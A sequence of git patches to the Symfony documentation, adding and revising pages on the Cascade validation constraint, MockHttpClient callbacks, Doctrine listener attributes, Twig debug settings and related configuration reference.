From 5dd6f2c53d457086697a49dad5dacf6100ae3f41 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Feb 2023 21:51:52 +0100
Subject: [PATCH 4341/7107] [Validator] Add `Cascade` constraint documentation

---
 reference/constraints/Cascade.rst | 120 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 121 insertions(+)
 create mode 100644 reference/constraints/Cascade.rst

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
new file mode 100644
index 00000000000..c4127e6c9dc
--- /dev/null
+++ b/reference/constraints/Cascade.rst
@@ -0,0 +1,120 @@
+Cascade
+=======
+
+.. versionadded:: 5.2
+
+    The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
+    introduced in Symfony 5.2 and requires PHP 7.4.
+
+The Cascade constraint is used to validate a whole class. It allows to
+omit to add the :doc:`/reference/constraints/Valid` constraint on each
+child object of your class you want to validate.
+
+==========  ===================================================================
+Applies to  :ref:`class <validation-class-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Cascade`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+In the following example, the
+:class:`Symfony\\Component\\Validator\\Constraints\\Cascade` constraint
+will tell the validator to validate all fields of the class, including
+constraints that are set in the child classes ``BookMetadata`` and
+``Author``:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        /**
+         * @Assert\Cascade
+         */
+        class BookCollection
+        {
+            /**
+             * @Assert\NotBlank
+             */
+            protected $name = '';
+
+            public BookMetadata $metadata;
+
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Model/BookCollection.php
+        namespace App\Model;
+
+        use App\Model\Author;
+        use App\Model\BookMetadata;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\Cascade]
+        class BookCollection
+        {
+            #[Assert\NotBlank]
+            protected $name = '';
+
+            public BookMetadata $metadata;
+
+            public Author $author;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\BookCollection:
+            constraints:
+                - Cascade: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\BookCollection">
+                <constraint name="Cascade"/>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/BookCollection.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class BookCollection
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addConstraint(new Assert\Cascade());
+            }
+        }
+
+Options
+-------
+
+The ``groups`` option is not available for this constraint.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..a0c1324dd1e 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -96,6 +96,7 @@ Other Constraints
 * :doc:`Expression </reference/constraints/Expression>`
 * :doc:`All </reference/constraints/All>`
 * :doc:`Valid </reference/constraints/Valid>`
+* :doc:`Cascade </reference/constraints/Cascade>`
 * :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
 * :doc:`Count </reference/constraints/Count>`

From 90b157dc905ddb9a38acfef4076ccea5d5c719e4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Feb 2023 22:03:01 +0100
Subject: [PATCH 4342/7107] [HttpClient] Mention list of callbacks for
 `MockHttpClient`

---
 http_client.rst | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index aabebe87ac9..d76b84a18fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1758,6 +1758,33 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+You can also pass a list of callbacks if you need to perform specific
+assertions on the request before returning the mocked response::
+
+    $expectedRequests = [
+        function ($method, $url, $options) {
+            $this->assertSame('GET', $method);
+            $this->assertSame('https://example.com/api/v1/customer', $url);
+
+            return new MockResponse('...');
+        },
+        function ($method, $url, $options) {
+            $this->assertSame('POST', $method);
+            $this->assertSame('https://example.com/api/v1/customer/1/products', $url);
+
+            return new MockResponse('...');
+        },
+    ];
+
+    $client = new MockHttpClient($expectedRequest);
+
+    // ...
+
+.. versionadded:: 5.1
+
+    Passing a list of callbacks to the ``MockHttpClient`` was introduced
+    in Symfony 5.1.
+
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)

From ea5c341111961442d2fb57672ce34fd05603d05c Mon Sep 17 00:00:00 2001
From: Christian Kolb <info@liplex.de>
Date: Wed, 1 Mar 2023 08:48:45 +0100
Subject: [PATCH 4343/7107] Update components/serializer.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e9f60fdbcbc..84b5e8775b6 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1242,7 +1242,7 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
-Preventing ``null`` value fallback for nullable properties
+Preventing ``null`` Value Fallback for Nullable Properties
 ----------------------------------------------------------
 
 By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.

From ec93ab9e940a97e31c3f0bfb93a3d450e303d817 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Mar 2023 10:27:33 +0100
Subject: [PATCH 4344/7107] [Twig] Update the docs of the twig.debug option

---
 reference/configuration/twig.rst | 3 +++
 templates.rst                    | 2 ++
 2 files changed, 5 insertions(+)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index d7a6e64916b..c686a6fd036 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -155,6 +155,9 @@ debug
 If ``true``, the compiled templates include a ``__toString()`` method that can
 be used to display their nodes.
 
+This option also controls the behavior of :ref:`the Twig dump utilities <twig-dump-utilities>`.
+If this option is ``false``, the ``dump()`` function doesn't output any contents.
+
 .. _config-twig-default-path:
 
 default_path
diff --git a/templates.rst b/templates.rst
index bc21e1de06a..3f451faa0f9 100644
--- a/templates.rst
+++ b/templates.rst
@@ -818,6 +818,8 @@ and also to check the Twig features added when :ref:`installing packages <symfon
     # pass a template path to show the physical file which will be loaded
     $ php bin/console debug:twig @Twig/Exception/error.html.twig
 
+.. _twig-dump-utilities:
+
 The Dump Twig Utilities
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From 053453211136f39a7e20c588ace712c19329d557 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 1 Mar 2023 16:36:58 +0100
Subject: [PATCH 4345/7107] Minor tweak

---
 messenger.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index d6f4c791112..8769d28e579 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -709,7 +709,8 @@ and ``user`` to the Unix user on your server.
 If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
-file, which you can then refer to in ``messenger.yaml`` (see Redis section below):
+file, which you can then refer to in ``messenger.yaml``
+(see the ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 
@@ -1575,6 +1576,8 @@ ttr                 The message time to run before it
                     - in seconds.                        90
 ==================  ===================================  ======================
 
+.. _messenger-redis-transport:
+
 Redis Transport
 ~~~~~~~~~~~~~~~
 

From 0faacd5e6fb1cca8931ff4cba475968ef0710197 Mon Sep 17 00:00:00 2001
From: Jerome Gangneux <jgangneux@jolicode.com>
Date: Thu, 23 Feb 2023 16:26:54 +0100
Subject: [PATCH 4346/7107] [Form] Removed jQuery in favour of vanilla
 Javascript

---
 reference/forms/types/collection.rst | 108 ---------------------------
 1 file changed, 108 deletions(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 9c4688c0048..b88fcde794a 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -86,114 +86,6 @@ existing addresses. Adding new addresses is possible by using the `allow_add`_
 option (and optionally the `prototype`_ option) (see example below). Removing
 emails from the ``emails`` array is possible with the `allow_delete`_ option.
 
-Adding and Removing Items
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-If `allow_add`_ is set to ``true``, then if any unrecognized items are submitted,
-they'll be added seamlessly to the array of items. This is great in theory,
-but takes a little bit more effort in practice to get the client-side JavaScript
-correct.
-
-Following along with the previous example, suppose you start with two
-emails in the ``emails`` data array. In that case, two input fields will
-be rendered that will look something like this (depending on the name of
-your form):
-
-.. code-block:: html
-
-    <input type="email" id="form_emails_0" name="form[emails][0]" value="foo@foo.com"/>
-    <input type="email" id="form_emails_1" name="form[emails][1]" value="bar@bar.com"/>
-
-To allow your user to add another email, just set `allow_add`_ to ``true``
-and - via JavaScript - render another field with the name ``form[emails][2]``
-(and so on for more and more fields).
-
-To help make this easier, setting the `prototype`_ option to ``true`` allows
-you to render a "template" field, which you can then use in your JavaScript
-to help you dynamically create these new fields. A rendered prototype field
-will look like this:
-
-.. code-block:: html
-
-    <input type="email"
-        id="form_emails___name__"
-        name="form[emails][__name__]"
-        value=""
-    />
-
-By replacing ``__name__`` with some unique value (e.g. ``2``),
-you can build and insert new HTML fields into your form.
-
-Using jQuery, a simple example might look like this. If you're rendering
-your collection fields all at once (e.g. ``form_row(form.emails)``), then
-things are even easier because the ``data-prototype`` attribute is rendered
-automatically for you (with a slight difference - see note below) and all
-you need is this JavaScript code:
-
-.. code-block:: javascript
-
-    // add-collection-widget.js
-    jQuery(document).ready(function () {
-        jQuery('.add-another-collection-widget').click(function (e) {
-            var list = jQuery(jQuery(this).attr('data-list-selector'));
-            // Try to find the counter of the list or use the length of the list
-            var counter = list.data('widget-counter') || list.children().length;
-
-            // grab the prototype template
-            var newWidget = list.attr('data-prototype');
-            // replace the "__name__" used in the id and name of the prototype
-            // with a number that's unique to your emails
-            // end name attribute looks like name="contact[emails][2]"
-            newWidget = newWidget.replace(/__name__/g, counter);
-            // Increase the counter
-            counter++;
-            // And store it, the length cannot be used if deleting widgets is allowed
-            list.data('widget-counter', counter);
-
-            // create a new list element and add it to the list
-            var newElem = jQuery(list.attr('data-widget-tags')).html(newWidget);
-            newElem.appendTo(list);
-        });
-    });
-
-And update the template as follows:
-
-.. code-block:: html+twig
-
-    {{ form_start(form) }}
-        {# ... #}
-
-        {# store the prototype on the data-prototype attribute #}
-        <ul id="email-fields-list"
-            data-prototype="{{ form_widget(form.emails.vars.prototype)|e }}"
-            data-widget-tags="{{ '<li></li>'|e }}"
-            data-widget-counter="{{ form.emails|length }}">
-        {% for emailField in form.emails %}
-            <li>
-                {{ form_errors(emailField) }}
-                {{ form_widget(emailField) }}
-            </li>
-        {% endfor %}
-        </ul>
-
-        <button type="button"
-            class="add-another-collection-widget"
-            data-list-selector="#email-fields-list">Add another email</button>
-
-        {# ... #}
-    {{ form_end(form) }}
-
-    <script src="add-collection-widget.js"></script>
-
-.. tip::
-
-    If you're rendering the entire collection at once, then the prototype
-    is automatically available on the ``data-prototype`` attribute of the
-    element (e.g. ``div`` or ``table``) that surrounds your collection.
-    The only difference is that the entire "form row" is rendered for you,
-    meaning you wouldn't have to wrap it in any container element as it
-    was done above.
-
 Field Options
 -------------
 

From 8bbc8544dd41e04b58c9921d53d99900fb690355 Mon Sep 17 00:00:00 2001
From: Prakash Thapa <prakash@kathcodex.com>
Date: Thu, 2 Mar 2023 02:42:42 +0545
Subject: [PATCH 4347/7107] updated the casted interface name as per the
 implemented interface

---
 security/passwords.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 7a956d44b1d..6cd70f10a9b 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -464,13 +464,14 @@ storing the newly created password hash::
     namespace App\Repository;
 
     // ...
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
     use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
 
     class UserRepository extends EntityRepository implements PasswordUpgraderInterface
     {
         // ...
 
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        public function upgradePassword(PasswordAuthenticatedUserInterface $user, string $newHashedPassword): void
         {
             // set the new hashed password on the User object
             $user->setPassword($newHashedPassword);

From c01f434ea63951c27909aa051f16fbd0abc1265b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 09:03:34 +0100
Subject: [PATCH 4348/7107] Tweaks

---
 reference/constraints/Cascade.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index c4127e6c9dc..b2178cd2a5a 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -6,9 +6,10 @@ Cascade
     The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
     introduced in Symfony 5.2 and requires PHP 7.4.
 
-The Cascade constraint is used to validate a whole class. It allows to
-omit to add the :doc:`/reference/constraints/Valid` constraint on each
-child object of your class you want to validate.
+The Cascade constraint is used to validate a whole class, including all the
+objects that might be stored in its properties. Thanks to this constraint,
+you don't need to add the :doc:`/reference/constraints/Valid` constraint on
+every child object that you want to validate in your class.
 
 ==========  ===================================================================
 Applies to  :ref:`class <validation-class-target>`
@@ -20,7 +21,7 @@ Basic Usage
 
 In the following example, the
 :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` constraint
-will tell the validator to validate all fields of the class, including
+will tell the validator to validate all properties of the class, including
 constraints that are set in the child classes ``BookMetadata`` and
 ``Author``:
 

From 7c50428d8315948cc1d59a5d67870ae92d2704e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 09:06:00 +0100
Subject: [PATCH 4349/7107] Remove unneeded versionadded directives

---
 http_client.rst                   |  5 -----
 reference/constraints/Cascade.rst | 31 -------------------------------
 2 files changed, 36 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 27f86b05753..04d3f0cc24b 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1783,11 +1783,6 @@ assertions on the request before returning the mocked response::
 
     // ...
 
-.. versionadded:: 5.1
-
-    Passing a list of callbacks to the ``MockHttpClient`` was introduced
-    in Symfony 5.1.
-
 .. tip::
 
     Instead of using the first argument, you can also set the (list of)
diff --git a/reference/constraints/Cascade.rst b/reference/constraints/Cascade.rst
index b2178cd2a5a..5880fdd6389 100644
--- a/reference/constraints/Cascade.rst
+++ b/reference/constraints/Cascade.rst
@@ -1,11 +1,6 @@
 Cascade
 =======
 
-.. versionadded:: 5.2
-
-    The :class:`Symfony\\Component\\Validator\\Constraints\\Cascade` was
-    introduced in Symfony 5.2 and requires PHP 7.4.
-
 The Cascade constraint is used to validate a whole class, including all the
 objects that might be stored in its properties. Thanks to this constraint,
 you don't need to add the :doc:`/reference/constraints/Valid` constraint on
@@ -27,32 +22,6 @@ constraints that are set in the child classes ``BookMetadata`` and
 
 .. configuration-block::
 
-    .. code-block:: php-annotations
-
-        // src/Model/BookCollection.php
-        namespace App\Model;
-
-        use App\Model\Author;
-        use App\Model\BookMetadata;
-        use Symfony\Component\Validator\Constraints as Assert;
-
-        /**
-         * @Assert\Cascade
-         */
-        class BookCollection
-        {
-            /**
-             * @Assert\NotBlank
-             */
-            protected $name = '';
-
-            public BookMetadata $metadata;
-
-            public Author $author;
-
-            // ...
-        }
-
     .. code-block:: php-attributes
 
         // src/Model/BookCollection.php

From e992925ca9f79212b9504e9475dbb90b382afeb0 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Mon, 27 Feb 2023 10:28:02 +0100
Subject: [PATCH 4350/7107] [HttpCache] Add example with an attribute

---
 http_cache/cache_invalidation.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4ae2639224b..5027e76299f 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -90,6 +90,22 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/CacheKernel.php
+        namespace App;
+
+        // ...
+        use Symfony\Component\DependencyInjection\Attribute\AsDecorator;
+        use Symfony\Component\DependencyInjection\Attribute\Autoconfigure;
+
+        #[Autoconfigure(bind: ['$surrogate' => '@?esi'])]
+        #[AsDecorator(decorates: 'http_cache')]
+        class CacheKernel extends HttpCache
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml

From 8d23c6445efdc71df5e5e7cf6bca4ddc590af214 Mon Sep 17 00:00:00 2001
From: Artur <afijalkowski@op.pl>
Date: Thu, 2 Mar 2023 09:59:17 +0100
Subject: [PATCH 4351/7107] Update dic_tags.rst

Update documentation to reference correct priorities of default normalizers location
---
 reference/dic_tags.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e6b1d44aa69..a60ee5484f9 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1028,9 +1028,7 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`.
 
 For more details, see :doc:`/serializer`.
 
-The priorities of the default normalizers can be found in the
-:method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
-method.
+The priorities of the default normalizers can be found in the `serializer.php`_ file.
 
 .. _dic-tags-translation-loader:
 
@@ -1415,3 +1413,4 @@ Bridge.
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
+.. _`serializer.php`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Resources/config/serializer.php

From 61aa75bbbebf3e48b1607b5b8d02ee30d535f9c2 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 23 Feb 2023 11:11:28 +0100
Subject: [PATCH 4352/7107] [Doctrine] add `AsDoctrineListener` attribute

---
 doctrine/events.rst | 23 +++++++++++++++++++----
 1 file changed, 19 insertions(+), 4 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 1927f89a04c..2d22c0f8947 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -143,9 +143,24 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
-The next step is to enable the Doctrine listener in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_listener`` tag:
+Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
+a Doctrine listener in your application::
+
+        // src/EventListener/SearchIndexer.php
+        namespace App\EventListener;
+
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
+        use Doctrine\ORM\Events;
+
+        #[AsDoctrineListener(event: Events::postPersist, priority: 500, connection: 'default')]
+        class SearchIndexer
+        {
+            // ...
+        }
+
+Alternatively, if you prefer to not use PHP attributes, you mustenable the Doctrine listener in the Symfony application by creating a new 
+service for it and :doc:`tagging it </service_container/tags>` with 
+the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 
@@ -272,7 +287,7 @@ a Doctrine entity listener in your application::
             // ...
         }
 
-That's it. Alternatively, if you prefer to not use PHP attributes, you must
+Alternatively, if you prefer to not use PHP attributes, you must
 configure a service for the entity listener and :doc:`tag it </service_container/tags>`
 with the ``doctrine.orm.entity_listener`` tag as follows:
 

From 8f3d6186d0601d472a22cf5405c4d34ef1e0307d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Mar 2023 10:19:37 +0100
Subject: [PATCH 4353/7107] Add `Cascade` to list

---
 reference/constraints.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 34ed5d08dab..aa9829b535a 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -77,6 +77,7 @@ Validation Constraints Reference
    constraints/Valid
    constraints/Traverse
    constraints/CssColor
+   constraints/Cascade
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In

From 4a2baf9bbbe10444482ed9e809bcac87bbd80184 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 10:20:42 +0100
Subject: [PATCH 4354/7107] Minor tweak

---
 doctrine/events.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 2d22c0f8947..c454366b17e 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -158,9 +158,9 @@ a Doctrine listener in your application::
             // ...
         }
 
-Alternatively, if you prefer to not use PHP attributes, you mustenable the Doctrine listener in the Symfony application by creating a new 
-service for it and :doc:`tagging it </service_container/tags>` with 
-the ``doctrine.event_listener`` tag:
+Alternatively, if you prefer to not use PHP attributes, you must enable the
+listener in the Symfony application by creating a new service for it and
+:doc:`tagging it </service_container/tags>` with the ``doctrine.event_listener`` tag:
 
 .. configuration-block::
 

From 3c3a6b4f326b14fb5f8107b07801163e30b7a44c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 11:47:25 +0100
Subject: [PATCH 4355/7107] Reword

---
 reference/dic_tags.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index a60ee5484f9..90aa2f253de 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1028,7 +1028,11 @@ and :class:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface`.
 
 For more details, see :doc:`/serializer`.
 
-The priorities of the default normalizers can be found in the `serializer.php`_ file.
+Run the following command to check the priorities of the default normalizers:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag serializer.normalizer
 
 .. _dic-tags-translation-loader:
 

From b192c44f87a878bbca7e2a995f83fb0ce091ed55 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Mar 2023 11:48:17 +0100
Subject: [PATCH 4356/7107] Remove an unused reference

---
 reference/dic_tags.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 90aa2f253de..e707808e7e2 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1417,4 +1417,3 @@ Bridge.
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
-.. _`serializer.php`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Resources/config/serializer.php

From a540844a7f890b0a7b28b5f7cfb9b4a3556eb9f6 Mon Sep 17 00:00:00 2001
From: Bastien Jaillot <bjaillot@jolicode.com>
Date: Thu, 2 Mar 2023 22:18:01 +0100
Subject: [PATCH 4357/7107] enable_annotations is enabled by default

Not sure at 100% of the use of `FullStack` means, but in a default Symfony app `enable_annotations` is always true.

```bash
php bin/console config:dump-reference framework
```

```yaml
    validation:
        enabled:              true
        cache:                ~
        enable_annotations:   true

    # serializer configuration
    serializer:
        enabled:              true
        enable_annotations:   true
```
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3e01eb112b..284617862f9 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2512,7 +2512,7 @@ settings is configured.
 enable_annotations
 ..................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
 If this option is enabled, validation constraints can be defined using annotations or attributes.
 
@@ -2720,7 +2720,7 @@ Whether to enable the ``serializer`` service or not in the service container.
 enable_annotations
 ..................
 
-**type**: ``boolean`` **default**: ``false``
+**type**: ``boolean`` **default**: ``true``
 
 If this option is enabled, serialization groups can be defined using annotations or attributes.
 

From 93ef670060d2353b271b427356a9fc88788929eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 13:06:12 +0100
Subject: [PATCH 4358/7107] Minor tweak

---
 event_dispatcher.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 51c51fa9102..434d0f409e3 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -221,9 +221,8 @@ can also be applied to methods directly::
 
 .. note::
 
-    You can notice that the attribute doesn't require its ``event``
-    parameter to be set if the method already type-hints the
-    expected event.
+    Note that the attribute doesn't require its ``event`` parameter to be set
+    if the method already type-hints the expected event.
 
 .. _events-subscriber:
 

From dd90e0a4839f1962f3dd1e0c7bf27b2d895053ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 13:19:35 +0100
Subject: [PATCH 4359/7107] Renamed the attribute to AsDoctrineListener

---
 doctrine/events.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 99cf0ea1896..8769c44211d 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -169,10 +169,10 @@ listener in the Symfony application by creating a new service for it and
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;
 
-        use Doctrine\Bundle\DoctrineBundle\Attribute\AsEventListener;
+        use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
         use Doctrine\ORM\Event\LifecycleEventArgs;
 
-        #[AsEventListener('postPersist'/*, 500, 'default'*/)]
+        #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
             public function postPersist(LifecycleEventArgs $event): void
@@ -251,10 +251,9 @@ listener in the Symfony application by creating a new service for it and
             ;
         };
 
-
 .. versionadded:: 2.7.2
 
-    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsEventListener` 
+    The :class:`Doctrine\\Bundle\\DoctrineBundle\\Attribute\\AsDoctrineListener`
     attribute was introduced in DoctrineBundle 2.7.2.
 
 .. tip::

From 58979f63886671d0e6a8341bbc36b50868fd45bd Mon Sep 17 00:00:00 2001
From: OrangeVinz <orangevinz@gmail.com>
Date: Fri, 3 Mar 2023 16:55:38 +0100
Subject: [PATCH 4360/7107] Update mailer.rst

---
 mailer.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index be0414c3f56..04f34ebd788 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1576,3 +1576,8 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
+
+.. tip::
+
+    If you're using Messenger you should use ``$this->assertQueuedEmailCount(1);`` instead.
+    

From aafff2847fbabc3b02d70c7e93be8afd10bd354d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 3 Mar 2023 17:23:17 +0100
Subject: [PATCH 4361/7107] [Routing[ Mention that param converters are now
 native

---
 routing.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/routing.rst b/routing.rst
index af8cc4553ed..6a5fb801c34 100644
--- a/routing.rst
+++ b/routing.rst
@@ -949,11 +949,11 @@ A common routing need is to convert the value stored in some parameter (e.g. an
 integer acting as the user ID) into another value (e.g. the object that
 represents the user). This feature is called a "param converter".
 
-To add support for "param converters" we need SensioFrameworkExtraBundle:
-
-.. code-block:: terminal
+.. versionadded:: 6.2
 
-    $ composer require sensio/framework-extra-bundle
+    Starting from Symfony 6.2, route param conversion is a built-in feature.
+    In previous Symfony versions you had to install the package
+    ``sensio/framework-extra-bundle`` before using this feature.
 
